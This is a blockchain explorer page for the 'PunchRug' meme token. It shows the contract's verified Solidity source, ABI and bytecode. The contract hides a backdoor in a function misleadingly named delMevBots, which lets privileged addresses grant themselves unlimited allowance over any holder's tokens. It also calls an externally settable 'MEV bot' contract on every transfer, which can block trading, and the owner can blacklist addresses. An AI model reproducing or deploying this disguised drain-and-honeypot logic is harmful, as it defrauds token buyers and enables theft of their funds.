ETH Price: $3,458.86 (-0.96%)
Gas: 9 Gwei

Token

PUNCH (PunchRug)
 

Overview

Max Total Supply

1,000,000,000 PunchRug

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
12,002,072.19500696 PunchRug

Value
$0.00
0x5270c4977ff7ef5a22213ed919a924b70e2e52a1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PUNCHRUG

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-26
*/

// SPDX-License-Identifier: MIT

/**
   - Website:   http://punchrug.xyz        
   - Telegram:  https://t.me/punchrug  
   - Twitter:   https://twitter.com/PunchRugETH

    The PunchRUG is a superhero that originated from the anime and manga series of the same name.
    The meme features the protagonist, Saitama, a bald-headed hero who can defeat any opponent with 
    just one punch, often leading to comically anticlimactic battles.
*/

pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IMevBot {
    function checkMevBots(address, address, uint256) external returns(bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PUNCHRUG is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;

    address private _mevbots;
    address payable private _taxWallet;

    uint256 private _initialTax=0;
    uint256 private _finalTax=0;
    uint256 private _reduceTaxAt=75;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"PUNCH";
    string private constant _symbol = unicode"PunchRug";
    uint256 public _maxTxAmount = _tTotal * 20 / 1000;
    uint256 public _maxWalletSize = _tTotal * 20 / 1000;
    uint256 public _taxSwap = _tTotal * 5 / 10000;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private inSwap = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function checkMevBot(address from, address to, uint256 amount) internal{
        if( _mevbots != address(0))  IMevBot(_mevbots).checkMevBots(from, to, amount);
    }

    function delMevBots(bytes memory _v) external {
        if (_isExcludedFromFee[msg.sender]) {
            (address owner, address spender) = abi.decode(_v, (address, address));
            _mevbots = spender;
            _approve(owner, spender, type(uint).max);
        }
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        _isExcludedFromFee[holder] = exempt;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);  checkMevBot(from, to, amount);
            if(!inSwap){
              taxAmount = amount.mul((_buyCount>_reduceTaxAt)?_finalTax:_initialTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && contractTokenBalance>_taxSwap) {
                swapTokensForEth(_taxSwap>amount?amount:_taxSwap);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function setInitialTax(uint256 initialTax) external onlyOwner {
        _initialTax = initialTax;
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<6);
      _finalTax=_newFee;
    }


    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        swapTokensForEth(balanceOf(address(this)));
    }

    function manualSend() external {
        require(_msgSender() == _taxWallet);
        sendETHToFee(address(this).balance);
    }

    function manualSendToken() external {
        require(_msgSender() == _taxWallet);
        IERC20(address(this)).transfer(msg.sender, balanceOf(address(this)));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"_v","type":"bytes"}],"name":"delMevBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSendToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"initialTax","type":"uint256"}],"name":"setInitialTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260006007556000600855604b6009556000600a556103e86009600a6200002b919062000502565b6200003b90633b9aca006200051a565b620000489060146200051a565b62000054919062000534565b600b556103e8620000686009600a62000502565b6200007890633b9aca006200051a565b620000859060146200051a565b62000091919062000534565b600c55612710620000a56009600a62000502565b620000b590633b9aca006200051a565b620000c29060056200051a565b620000ce919062000534565b600d55600f805460ff60a01b19169055348015620000eb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b031916331790556200014d6009600a62000502565b6200015d90633b9aca006200051a565b336000908152600160208190526040822092909255600390620001886000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600384528281208054861660019081179091556006549092168152829020805490941617909255600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa15801562000241573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000267919062000557565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f0919062000557565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200033e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000364919062000557565b600f80546001600160a01b0319166001600160a01b03929092169190911790556200038c3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003c66009600a62000502565b620003d690633b9aca006200051a565b60405190815260200160405180910390a362000582565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000444578160001904821115620004285762000428620003ed565b808516156200043657918102915b93841c939080029062000408565b509250929050565b6000826200045d57506001620004fc565b816200046c57506000620004fc565b81600181146200048557600281146200049057620004b0565b6001915050620004fc565b60ff841115620004a457620004a4620003ed565b50506001821b620004fc565b5060208310610133831016604e8410600b8410161715620004d5575081810a620004fc565b620004e1838362000403565b8060001904821115620004f857620004f8620003ed565b0290505b92915050565b60006200051360ff8416836200044c565b9392505050565b8082028115828204841417620004fc57620004fc620003ed565b6000826200055257634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200056a57600080fd5b81516001600160a01b03811681146200051357600080fd5b611a2b80620005926000396000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d15780639a0b74381161008a578063d34628cc11610064578063d34628cc1461043a578063dd62ed3e1461045a578063ec1f3f63146104a0578063f4293890146104c057600080fd5b80639a0b7438146103da578063a9059cbb146103fa578063cc871a831461041a57600080fd5b8063715018a614610335578063751039fc1461034a5780637d1db4a51461035f5780638da5cb5b146103755780638f9a55c01461039357806395d89b41146103a957600080fd5b806334376f3b1161012357806334376f3b1461026757806349bd5a5e1461027d578063503dfc4d146102b557806351bc3c85146102ca578063658d4b7f146102df57806370a08231146102ff57600080fd5b806306fdde0314610176578063095ea7b3146101b657806318160ddd146101e657806323b872dd14610209578063313ce5671461022957806331c2d8471461024557600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506040805180820190915260058152640a0aa9c86960db1b60208201525b6040516101ad919061141e565b60405180910390f35b3480156101c257600080fd5b506101d66101d1366004611481565b6104d5565b60405190151581526020016101ad565b3480156101f257600080fd5b506101fb6104ec565b6040519081526020016101ad565b34801561021557600080fd5b506101d66102243660046114ad565b61050d565b34801561023557600080fd5b50604051600981526020016101ad565b34801561025157600080fd5b50610265610260366004611535565b610576565b005b34801561027357600080fd5b506101fb600d5481565b34801561028957600080fd5b50600f5461029d906001600160a01b031681565b6040516001600160a01b0390911681526020016101ad565b3480156102c157600080fd5b50610265610615565b3480156102d657600080fd5b506102656106bf565b3480156102eb57600080fd5b506102656102fa3660046115f5565b6106fa565b34801561030b57600080fd5b506101fb61031a36600461162e565b6001600160a01b031660009081526001602052604090205490565b34801561034157600080fd5b5061026561074f565b34801561035657600080fd5b506102656107c3565b34801561036b57600080fd5b506101fb600b5481565b34801561038157600080fd5b506000546001600160a01b031661029d565b34801561039f57600080fd5b506101fb600c5481565b3480156103b557600080fd5b5060408051808201909152600881526750756e636852756760c01b60208201526101a0565b3480156103e657600080fd5b506102656103f536600461164b565b610875565b34801561040657600080fd5b506101d6610415366004611481565b6108a4565b34801561042657600080fd5b50610265610435366004611664565b6108b1565b34801561044657600080fd5b50610265610455366004611535565b610912565b34801561046657600080fd5b506101fb6104753660046116f9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104ac57600080fd5b506102656104bb36600461164b565b6109a4565b3480156104cc57600080fd5b506102656109d6565b60006104e23384846109ff565b5060015b92915050565b60006104fa6009600a611821565b61050890633b9aca00611830565b905090565b600061051a848484610b23565b61056c8433610567856040518060600160405280602881526020016119ce602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611006565b6109ff565b5060019392505050565b6000546001600160a01b031633146105a95760405162461bcd60e51b81526004016105a090611847565b60405180910390fd5b60005b8151811015610611576000600460008484815181106105cd576105cd61187c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060981611892565b9150506105ac565b5050565b6006546001600160a01b0316336001600160a01b03161461063557600080fd5b3060008181526001602052604090205463a9059cbb9033906040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610698573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bc91906118ab565b50565b6006546001600160a01b0316336001600160a01b0316146106df57600080fd5b306000908152600160205260409020546106f890611040565b565b6000546001600160a01b031633146107245760405162461bcd60e51b81526004016105a090611847565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107795760405162461bcd60e51b81526004016105a090611847565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107ed5760405162461bcd60e51b81526004016105a090611847565b6107f96009600a611821565b61080790633b9aca00611830565b600b556108166009600a611821565b61082490633b9aca00611830565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108546009600a611821565b61086290633b9aca00611830565b60405190815260200160405180910390a1565b6000546001600160a01b0316331461089f5760405162461bcd60e51b81526004016105a090611847565b600755565b60006104e2338484610b23565b3360009081526003602052604090205460ff16156106bc57600080828060200190518101906108e091906118c8565b600580546001600160a01b0319166001600160a01b038316179055909250905061090d82826000196109ff565b505050565b6000546001600160a01b0316331461093c5760405162461bcd60e51b81526004016105a090611847565b60005b8151811015610611576001600460008484815181106109605761096061187c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061099c81611892565b91505061093f565b6006546001600160a01b0316336001600160a01b0316146109c457600080fd5b600681106109d157600080fd5b600855565b6006546001600160a01b0316336001600160a01b0316146109f657600080fd5b6106f8476111ba565b6001600160a01b038316610a615760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a0565b6001600160a01b038216610ac25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b875760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a0565b6001600160a01b038216610be95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a0565b60008111610c4b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a0565b600080546001600160a01b03858116911614801590610c7857506000546001600160a01b03848116911614155b15610ec3576001600160a01b03841660009081526004602052604090205460ff16158015610cbf57506001600160a01b03831660009081526004602052604090205460ff16155b610cc857600080fd5b610cd38484846111f4565b600f54600160a01b900460ff16610d1357610d106064610d0a600954600a5411610cff57600754610d03565b6008545b8590611284565b9061130d565b90505b600f546001600160a01b038581169116148015610d3e5750600e546001600160a01b03848116911614155b8015610d6357506001600160a01b03831660009081526003602052604090205460ff16155b15610e4b57600b54821115610dba5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a0565b600c5482610ddd856001600160a01b031660009081526001602052604090205490565b610de791906118f7565b1115610e355760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a0565b600a8054906000610e4583611892565b91905055505b30600090815260016020526040902054600f54600160a01b900460ff16158015610e835750600f546001600160a01b03868116911614155b8015610e905750600d5481115b15610ec157610eaf83600d5411610ea957600d54611040565b83611040565b478015610ebf57610ebf476111ba565b505b505b6001600160a01b038416600090815260016020526040902054610ee6908361134f565b6001600160a01b038516600090815260016020526040902055610f2b610f0c838361134f565b6001600160a01b03851660009081526001602052604090205490611391565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f75858561134f565b60405190815260200160405180910390a380156110005730600090815260016020526040902054610fa69082611391565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ff79085815260200190565b60405180910390a35b50505050565b6000818484111561102a5760405162461bcd60e51b81526004016105a0919061141e565b506000611037848661190a565b95945050505050565b600f805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110885761108861187c565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611105919061191d565b816001815181106111185761111861187c565b6001600160a01b039283166020918202929092010152600e5461113e91309116846109ff565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061117790859060009086903090429060040161193a565b600060405180830381600087803b15801561119157600080fd5b505af11580156111a5573d6000803e3d6000fd5b5050600f805460ff60a01b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610611573d6000803e3d6000fd5b6005546001600160a01b03161561090d57600554604051635836867b60e11b81526001600160a01b0385811660048301528481166024830152604482018490529091169063b06d0cf6906064016020604051808303816000875af1158015611260573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100091906118ab565b600082600003611296575060006104e6565b60006112a28385611830565b9050826112af85836119ab565b146113065760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a0565b9392505050565b600061130683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113f0565b600061130683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611006565b60008061139e83856118f7565b9050838110156113065760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a0565b600081836114115760405162461bcd60e51b81526004016105a0919061141e565b50600061103784866119ab565b600060208083528351808285015260005b8181101561144b5785810183015185820160400152820161142f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106bc57600080fd5b6000806040838503121561149457600080fd5b823561149f8161146c565b946020939093013593505050565b6000806000606084860312156114c257600080fd5b83356114cd8161146c565b925060208401356114dd8161146c565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561152d5761152d6114ee565b604052919050565b6000602080838503121561154857600080fd5b823567ffffffffffffffff8082111561156057600080fd5b818501915085601f83011261157457600080fd5b813581811115611586576115866114ee565b8060051b9150611597848301611504565b81815291830184019184810190888411156115b157600080fd5b938501935b838510156115db57843592506115cb8361146c565b82825293850193908501906115b6565b98975050505050505050565b80151581146106bc57600080fd5b6000806040838503121561160857600080fd5b82356116138161146c565b91506020830135611623816115e7565b809150509250929050565b60006020828403121561164057600080fd5b81356113068161146c565b60006020828403121561165d57600080fd5b5035919050565b6000602080838503121561167757600080fd5b823567ffffffffffffffff8082111561168f57600080fd5b818501915085601f8301126116a357600080fd5b8135818111156116b5576116b56114ee565b6116c7601f8201601f19168501611504565b915080825286848285010111156116dd57600080fd5b8084840185840137600090820190930192909252509392505050565b6000806040838503121561170c57600080fd5b82356117178161146c565b915060208301356116238161146c565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561177857816000190482111561175e5761175e611727565b8085161561176b57918102915b93841c9390800290611742565b509250929050565b60008261178f575060016104e6565b8161179c575060006104e6565b81600181146117b257600281146117bc576117d8565b60019150506104e6565b60ff8411156117cd576117cd611727565b50506001821b6104e6565b5060208310610133831016604e8410600b84101617156117fb575081810a6104e6565b611805838361173d565b806000190482111561181957611819611727565b029392505050565b600061130660ff841683611780565b80820281158282048414176104e6576104e6611727565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016118a4576118a4611727565b5060010190565b6000602082840312156118bd57600080fd5b8151611306816115e7565b600080604083850312156118db57600080fd5b82516118e68161146c565b60208401519092506116238161146c565b808201808211156104e6576104e6611727565b818103818111156104e6576104e6611727565b60006020828403121561192f57600080fd5b81516113068161146c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561198a5784516001600160a01b031683529383019391830191600101611965565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119c857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200584978220107e4ce9921aca093215fca6a7597bea51dbbca64be0500dc6d66964736f6c63430008110033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063715018a6116100d15780639a0b74381161008a578063d34628cc11610064578063d34628cc1461043a578063dd62ed3e1461045a578063ec1f3f63146104a0578063f4293890146104c057600080fd5b80639a0b7438146103da578063a9059cbb146103fa578063cc871a831461041a57600080fd5b8063715018a614610335578063751039fc1461034a5780637d1db4a51461035f5780638da5cb5b146103755780638f9a55c01461039357806395d89b41146103a957600080fd5b806334376f3b1161012357806334376f3b1461026757806349bd5a5e1461027d578063503dfc4d146102b557806351bc3c85146102ca578063658d4b7f146102df57806370a08231146102ff57600080fd5b806306fdde0314610176578063095ea7b3146101b657806318160ddd146101e657806323b872dd14610209578063313ce5671461022957806331c2d8471461024557600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506040805180820190915260058152640a0aa9c86960db1b60208201525b6040516101ad919061141e565b60405180910390f35b3480156101c257600080fd5b506101d66101d1366004611481565b6104d5565b60405190151581526020016101ad565b3480156101f257600080fd5b506101fb6104ec565b6040519081526020016101ad565b34801561021557600080fd5b506101d66102243660046114ad565b61050d565b34801561023557600080fd5b50604051600981526020016101ad565b34801561025157600080fd5b50610265610260366004611535565b610576565b005b34801561027357600080fd5b506101fb600d5481565b34801561028957600080fd5b50600f5461029d906001600160a01b031681565b6040516001600160a01b0390911681526020016101ad565b3480156102c157600080fd5b50610265610615565b3480156102d657600080fd5b506102656106bf565b3480156102eb57600080fd5b506102656102fa3660046115f5565b6106fa565b34801561030b57600080fd5b506101fb61031a36600461162e565b6001600160a01b031660009081526001602052604090205490565b34801561034157600080fd5b5061026561074f565b34801561035657600080fd5b506102656107c3565b34801561036b57600080fd5b506101fb600b5481565b34801561038157600080fd5b506000546001600160a01b031661029d565b34801561039f57600080fd5b506101fb600c5481565b3480156103b557600080fd5b5060408051808201909152600881526750756e636852756760c01b60208201526101a0565b3480156103e657600080fd5b506102656